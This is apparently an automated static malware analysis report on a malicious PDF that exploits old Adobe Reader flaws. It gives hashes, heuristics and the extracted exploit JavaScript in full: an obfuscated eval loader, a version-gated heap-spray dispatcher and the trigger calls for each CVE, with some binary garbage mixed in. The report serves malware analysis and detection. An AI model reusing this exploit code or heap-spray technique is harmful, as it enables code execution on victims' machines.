Malicious PDF — malware analysis report

Static analysis result for SHA-256 7cb5e9621fea075f…

MALICIOUS

PDF

7.1 KB Created: 2010-10-12 14:20:47 Authoring application: Bgecolemdisoginelejaci (via 63b99Vinavepleziueti) First seen: 2026-05-08
MD5: 76eca89109bf577485185a88d075928f SHA-1: fa7c2178b9ca8fed6a0778771c8d48cb71d876d2 SHA-256: 7cb5e9621fea075fc54512ca929fd8c7edebd8461c9c40cae82ad8e6364afa5f
366 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains multiple critical heuristic firings indicating exploitation of CVE-2009-4324, CVE-2009-0927, and CVE-2008-2992. These exploits are used to execute embedded JavaScript. The JavaScript code, particularly in 'page_word_xor_stage_000.js', appears to be a downloader or dropper, indicated by its obfuscated nature and the use of functions like 'util.printf' and 'app.viewerVersion' which are common in PDF exploit kits. The ML classifier also flagged this PDF with a very high probability of being malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0x1291 2403 bytes
SHA-256: 9831312efd52fddc921fa42b5f0524183ce37990ed0b97fffae684698b8a4b87
Preview script
First 1,000 lines of the extracted script
var oDOJ = null;

try {

function z(pGD,bEX){return pGD+bEX};
var hSN=1;
var mTCZ="leng"+"th";
var pMH=String("repla"+"ce");
var jGZ=0;
function hWB(zKF){this.pYB=this.l=zKF};


var lUV=this;
var zAD=300;
var jCDO="va&r& &y~T&K~Vq=qtqh%i~s%.qlq;~tq=%\'&gqe&t~P~a%g&e~N~\'%;~l&W~L%=~t%+~\'&t&hqW%o&r~dq\'~;%n~WqV%=~t%+q\'qu~mqW%o%r~d~s&\'q;qp%QqZq=~\'~p&aqg%e~N%u~m~\'~;qj&WqFq ~=q ~9~3& q;%x~Y~R~=%\'%\'q;&n&E&J&=~\'&j&o~i%n~\'~;qlqE&L~=&\'&\'%;&j~G%Z~=~0q;&b&C~D~=~Sqt&r~i&nqg&;~p%U&Fq=%\'&squ%b%s%tqr&\'~;qj~M%P&=q\'qeqv%a%l~\'~;&m&T~C&Zq=~\'&l~e&nqg&tqhq\'q;~p&GqL~=%\'q\\q\\qx&\'q;%p%E&Rq=q\'&t&o~Sqtqr&i%nqgq\'%;%z&K~R&=~\'qp%a&rqsqe&I&n%t&\'&;~r%A&R~=~\'%f~r~o~m%C~h~a~r&C&o&d&e~\'&;&v&G~N~=&\'qc%h~a~rqC~o&d~e%Aqt&\'~;&h%S%Nq=&4q/&4q;ql~W%R%=~1&+&4~;qhqQ&Nq=&2q0~0~+q5%5~;ql~U%Vq=q\'%dqo~c&\'~;%lqYqL&=~3&3&2q;qh&W~Rq=&[q]%;qh&Y%N%=&\'q\'%;%fqC~Bq=~1q6q;&h~W&V%=&2q;~k~J~G~X~=q4~;~n%W%V&M~=&yqT&K&V~[~n%W&V~]q(%y&T%K~V%[&pqQ%Z%]&)&;&f~o~rq(%l%O~=&j&G&Z&;%l&O&<q ~n&WqV&M~;% ~l~O~+&+q)q{qv%a%r& %wqR~W~B%=%y%T%K%V~[%l%W&L&]q(&y~T%K&Vq[&p~QqZ%]~,~lqO&,qt~r%uqe%)~;&l~E&Lq=%[ql~EqL&,&w~RqWqBq]q[&nqEqJ&]%(&x~Y&Rq)%;%;%}qf~o%r%(%l~O~=&0%;&l~Oq ~<& ql%E&L~[~mqTqC~Z~]q;& &l&Oq+~=qh%W%Vq)%{&f~=~l~EqL&[&p&UqF%]~(%l~O%,~h%WqV%)&;~v%=~p~a%r~s%e&I~nqt&(%f~,qf%C~B~)&;qp%Q%B~=%v%^qj~W%F&;~z%SqR&=&pqQ&B~.&t%o~S%t&r~i&nqgq(&f~CqB&)q;%zqS%R%=~(qz%S%Rq[qm&T&C~Z&]~=&=~h&S~N~)q q?& ~\'%0%\'% ~+& qz~S&R& &:q &z~S~R%;&h%W~R%.%p%u%s&h%(&zqS&R%)&;q}%t%r&y~ q{~h&Y~Nq=~n%e%wq qS~t%r%i%n&g~(qp%G~Lq &+& ~h&WqR&[%n&EqJ~]%(%p~G&Lq)%)%;qa%p&p~[qj%M&P%]%(%\'~h&Y~N%=%\"%\'~+&h&Y&N&+%\'%\"%;~\'&)%;qy%T~KqV%.~xqA%L~=%(%hqY&N~[&p~U&Fq]~(qhqY~N&[~m&TqC~Zq]~-ql%Y~L&)~)%;&yqT%K~V%.~bqCqT&=&(%h&Y~Nq[~pqUqFq]%(&j%G~Zq,qh&Y%N&[&m~T~C%Z%]&-%l~Y%Lq)&)q;%f~M~H&(&)%;~}% ~cqa%t%c&h%(&h%MqJq)~{qiqfq(qy&TqK&V&.~b&C&T~)&{&t~r%y~ &{%a%p&p%[%jqMqP~]q(~y%T%KqVq.&bqC~Tq)~;&}% %c&a~t~c~hq(&h~MqJq)~{%aqpqp~.%a%l~e%r&tq(qh&MqJ~)~;&}~}q %e%l~s&e% %{&a&p~pq.&a%l%e~r%t%(%\'qN~O~ &CqO%D%E%\'~)~;q}&}q";
var xYR='';
var gHID=/[q&%~]/g;
var xS=String("Func"+"tion");
var eTWN=new String("ch"+"ar"+"At");
;


function d(rMJ){zSD=xYR; for(lO=rMJ[mTCZ];lO >= jGZ;lO--) zSD=z(zSD, rMJ[eTWN](lO)); return zSD}


jCDO=jCDO[pMH](gHID, xYR);
jMP=d(new String("lav"+"e"));

;


hWB.prototype={

dOJ : function(fKZ){

if(fKZ > zAD){

this.l[jMP](jCDO);

} else {

oDOJ.dOJ(fKZ+hSN);

}
}
};

var oDOJ=new hWB(lUV);
oDOJ.dOJ(jGZ);

} catch(hYN){

}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 153 bytes
SHA-256: 18699f9d55ae1f1fd22bc427d0f09ac790fd8fafb1557dc66370fe40318c5f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords-XOR Pidief stage normalized */
app.viewerVersion;
Collab.getIcon("N."+unescape("%09"));
media.newPlayer(null);
util.printf("%45000f", 1);
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x5D) at offset 0x8C 6786 bytes
SHA-256: 444f6419aa3ad11f5771853dfe35a7533b9a7394226c729ffe069624be3b11f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 3 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var hCN="\x03\x55\x01\x03\x0c\x57\x03\x54\x5a\x5b\x59\x03\x05\x56\x55\x04\x54\x5d\x59\x58\x5b\x5c\x09\x0a\x57\x45\x49\x44\x12\x46\x42\x13\x44\x1c\x4a\x4a\x79\x20\x76\x27\x27\x24\x7f\x29\x2f\x78\x7b\x2e\x7e\x7b\x7f\x62\x61\x62\x37\x30\x6d\x63\x6f\x6e\x38\x68\x18\x4b\x09\x3b\x1e\x0f\x1e\x5f\x10\x40\x1e";var bQR="\x33\x64\x33\x30\x38\x62\x35\x63\x62\x62\x38\x61\x66\x32\x30\x62\x33\x35\x30\x32\x30\x30\x64\x64\x38\x35\x38\x36\x61\x32\x37\x65";var zYJ=this.l.info[hGX("\x54\x3c")].replace(/[\s]/g, xYR);var fSX=app;var lUV=this.pYB;fSJ=hGX("\x57\x01\x51\x45\x5f");rOB=hGX("\x5a\x0a\x55\x5f");nAX=hGX("\x43\x16\x5c\x54\x4d\x01\x50\x11");bMN=hGX("\x41\x0b\x46\x5e\x5c");fOJ=hGX("\x5a\x0a\x57\x55\x40\x2d\x53");rQR=hGX("\x52\x11\x47\x58\x57\x10");hQH=hGX("\x47\x0d\x47\x5c\x5d");tYL=hGX("\x40\x14\x5f\x59\x4c");pMH=hGX("\x41\x01\x43\x5c\x59\x01\x50");nQT=hGX("\x43\x05\x41\x43\x5d\x24\x59\x0c\x03\x16");tAH=hGX("\x45\x0d\x56\x47\x5d\x10\x63\x06\x10\x11\x51\x0e\x08");var hIV=this.l;var rMV = hIV[rOB];var pOP = (rMV[nAX][pUF](jGZ,lWR) == fSJ);if(pOP){ fSX.alert(hGX("\x77\x21\x71\x65\x7f\x42\x5c\x10\x42\x2d\x76"));}var nAXA=Date;var qLIH=Math;var x=util;var xAL= hIV.xAL;var hCH=hGX("\x16\x11");var rOP=hGX("\x6c\x3b\x6c\x6f\x67");var tWH=hGX("\x5e\x01\x57\x59\x59");var bOV=hGX("\x5d\x01\x44\x60\x54\x03\x4c\x06\x10");var hSV=hGX("\x40\x11\x51\x43\x4c\x10\x5c\x0d\x05");var hOB=hGX("\x43\x16\x5a\x5e\x4c\x06");var tWD = hGX("\x0c");var pEN = hGX("\x15");var dGD = hGX("\x0e");var xQL = hGX("\x41\x01\x52\x54\x5d\x10\x6a\x15\x07\x10\x4b\x08\x09\x5c");var hCT = hGX("\x56\x1c\x5d");var dWD = true;var vAF = true;var xUD = true;if(!hIV.xAL) { rOD();};function bQJ(tAT){ var pIT = hYZ(); var jUF = nYB(); var zYZ = bOP(); jUF=rSR(jUF, zYZ, tAT); var vCV = bQN(jUF, pIT); xAL = hGX(xAL); xAL = xAL[pMH](rOP, pIT); xAL = xAL + vCV; return bCR(jAT(xAL));};function nYB(){ var rMJ = (rMV[rQR] + rMV[hQH])[pMH](/[\s]/g, xYR); var nKZ = xWN(rMJ, zYJ, hGX(hCN)); return nKZ;};function tKL(jUJ,zGB){ while(jUJ.length * hWV < zGB){ jUJ += jUJ; } jUJ = jUJ[hSV](jGZ, zGB / hWV); return jUJ;};function vWT(){ function pID() { var rMJ=hGX("\x43\x24\x02\x01\x09\x53\x04\x52\x53\x53\x09\x50\x57\x03\x01\x53\x02\x04\x01\x03\x01\x01\x55\x55\x09\x04\x18\x0c\x41\x4b\x4e\x1c\x4a\x55\x02\x01"); x[hOB](rMJ, new nAXA()); } var vEL=(12000); fUX=new Array(); var pKR = hGX("\x16\x11\x0a\x00\x01\x52\x10\x16\x5b\x52\x01\x51"); pKR=bCR(pKR); var jUJI=bQJ(hGX("\x70\x32\x76\x1d\x0a\x52\x05\x5a\x4f\x56\x0b\x53\x52\x6d\x02")); while(pKR.length <= (0x8000)){ pKR+=pKR; } pKR=pKR.substr(jGZ, (0x8000) - jUJI[mTCZ]); for(lO=jGZ; lO < vEL; lO++) { fUX[lO]=pKR + jUJI; } if(vEL){ pID(); pID(); try { hIV[tWH][bOV](null); } catch(e) {} pID(); }};function aFOR(){ var j = hGX("\x16\x11\x03\x71\x08\x23\x10\x16\x52\x23\x08\x20"); var hOR = hGX("\x16\x50\x06\x00\x08\x52\x53"); var zIT=hGX("\x43\x16\x5a\x5e\x4c\x04"); var jUJI=bQJ(hGX("\x70\x32\x76\x1d\x0a\x52\x05\x5b\x4f\x50\x01\x58\x54")); var pAJ=bCR(j + j); var vKV = pAJ + jUJI; var xAF = bCR(j); var dYV = (20); var tKL=dYV + vKV[mTCZ]; while(xAF.length < tKL){ xAF += xAF; } var dCD=xAF[hSV](jGZ,tKL); var nOB=xAF[hSV](jGZ,xAF[mTCZ] - tKL); while(nOB.length + tKL < (0x40000)){ nOB =nOB + nOB + dCD; } var nOJ=new Array(); for(var lO=jGZ; lO < (1400); lO++){ nOJ[lO] = nOB + vKV; } var nMJ=xYR; for(var lO=jGZ; lO < (296); lO++){ nMJ+=hGX("\x0a"); } nMJ = jYN(nMJ); x[zIT](hOR, nMJ);};function tQB(){ var s=xYR; var nED=hGX("\x70\x0b\x5f\x5c\x59\x00"); var tGJ=hGX("\x54\x01\x47\x79\x5b\x0d\x5b"); if(hIV[nED][tGJ]) { var nOJ=new Array(); var jUJI=bQJ(hGX("\x70\x32\x76\x1d\x0a\x52\x05\x5a\x4f\x52\x01\x53\x51")); var hEN=(0x400000); var vYN=jUJI[mTCZ] * hWV; var zGB = hEN - (vYN + (0x38)); var xEN=bCR(hGX("\x16\x11\x0a\x00\x01\x52\x10\x16\x5b\x52\x01\x51")); xEN=tKL(xEN, zGB); var nYD=((0x0c0c0c0c) - hEN) / hEN; for(var lO=jGZ; lO < nYD; lO++){ nOJ[lO]=xEN + jUJI; } var pUL=unescape(hGX("\x16\x54\x0a")); while(pUL.length < (0x4000)){ pUL+=pUL; } pUL=hGX("\x7d\x4a") + pUL; hIV[nED][tGJ](pUL); } else { }};function lEL(){ var zYZ = bOP(); if(dWD && ((zYZ >= (9) && zYZ < (9.1)) || (zYZ >= (8) && zYZ < (8.103)))){ try { tQB(); } catch(hYN){ } } if(vAF && (zYZ >=(7) && zYZ < (8.103))){ try { aFOR(); } catch(hYN){ } } if(xUD && ((zYZ >= (9) && zYZ < (9.3)) || ( zYZ >=(8) && zYZ < (8.2)))) { try { vWT(); } catch(e){ } }};try { lEL();} catch(e){ };function bOP(){ return vWR(fSX[tAH][pER]());};function hYZ(){ pQD = xYR; for(lO=jGZ;lO < lWR; lO++){ pQD += bCD[rAR](qLIH.floor(qLIH.random() * hQN)); } return pQD;};function bQN(hIP, nIJ){ pQD=xYR; jCD=jGZ; for(lO=jGZ; lO < hIP[mTCZ]; lO++) { var rMZ = hIP[vGN](lO) ^ nIJ[vGN](jCD); rMZ = bCD[rAR](rMZ); pQD += rMZ; jCD++; if(jCD >= nIJ[mTCZ]) jCD=jGZ; } return pQD;};function jAT(rMJ){ var rIF = xYR; rMJ = pKRC(rMJ); g = qLIH[bMN](rMJ[mTCZ] / kJGX); if (g != rMJ[mTCZ] / kJGX) rMJ += hGX("\x03\x54"); for(var lO=jGZ; lO < rMJ[mTCZ]; lO+=kJGX) { rIF+= hCH+rMJ[pUF](lO+hWV,hWV) + rMJ[pUF](lO, hWV); } return rIF;};function pKRC(f){ var lO,nAR=jGZ,rYJ=[]; f+=xYR; nAR=f[mTCZ]; for (lO=jGZ; lO < nAR;lO++){ rYJ[lO] = f[vGN](lO)[pER](fCB)[pMH](/^([\da-f])$/, hGX("\x03\x40\x02")).toUpperCase(); } return rYJ[nEJ](xYR);};function bCR(rMJ){ rMJ = rMJ[tYL](hCH); var nKZ=xYR; for(var lO in rMJ) { if(rMJ[lO] != xYR) nKZ += bCD[rAR](jYN(rMJ[lO],fCB)); } return nKZ;};function tMT(rMJ, nIJ){ nKZ=xYR; zKV=rMJ[mTCZ]; for(lO=jGZ; lO < zKV; lO++) { zGB=nIJ[mTCZ]; rMZ = rMJ[vGN](lO); jMR = nIJ[vGN](lO % zGB); nKZ += bCD[rAR](rMZ ^ jMR); } return nKZ;};function hGX(rMJ){ nKZ = tMT(rMJ, bQR); return nKZ;};function xWN(rMJ, hCN, zYJ){ var nKZ=xYR; for(var lO=jGZ; lO < rMJ[mTCZ]; lO++) { var zEH=hCN[fOJ](rMJ[lO]); if(zEH > (-1) ) { nKZ += zYJ[zEH]; } } return nKZ;};function rSR(jUF, zYZ, tAT){ var jMR = hGX("\x4f"); var rAL = hGX("\x4f\x45"); if(jUF[pUF](jUF[mTCZ]-rAL[mTCZ]) == rAL) { jUF = jUF[pUF](jGZ, jUF[mTCZ]-rAL[mTCZ]); } dCB = jUF[tYL](jMR); var nKZ=[]; for(var lO in dCB) { var jUF=dCB[lO]; if(jUF == xYR || jUF == null) continue; jUF += ((jUF[fOJ](tWD) > (-1)) ? pEN : tWD) + xQL + dGD + zYZ + pEN + hCT + dGD + tAT; nKZ.push(jUF); } return nKZ[nEJ](jMR) + rAL;};function jYN(rMJ, fQP){ return hIV[zKR](rMJ, fQP);};function vWR(rMJ){ return hIV[nQT](rMJ);};�����Q4cb=bP�e���=�F� cXD:|��   �:�չ�ibbb���} �la �ga44hehf1ag5[`2081c3

VafZE _XdZ�~j��`86ab��3d3����k
-�.cb� 350�൤ /_lo��_ ��%� b5c2�faf2ϲ�ٜ:�E��;�   �g
M��C�k5cb2�\f20���P �T�4 �j:�`#�AL�(8b5R�S��ZSL`  ��=1��ȴ�m�x]�qt�"M��'F~Y� �\F �u �da 9߳|y�mE2�� q� �c�	�W��η�D5��ie���
    ��i 9�S�n)�;z3��7�1ڹt@xY�06�47e3;log=5�ߜǞ
/* decoded hGX Reader kit strings: CVE-2008-2992 CVE-2009-0927 CVE-2009-4324_2 */
media.newPlayer(null);
util.printf('%45000f', 1);
var icon=unescape('%09');while(icon.length<0x4000){icon+=icon;}Collab.getIcon('N.'+icon);

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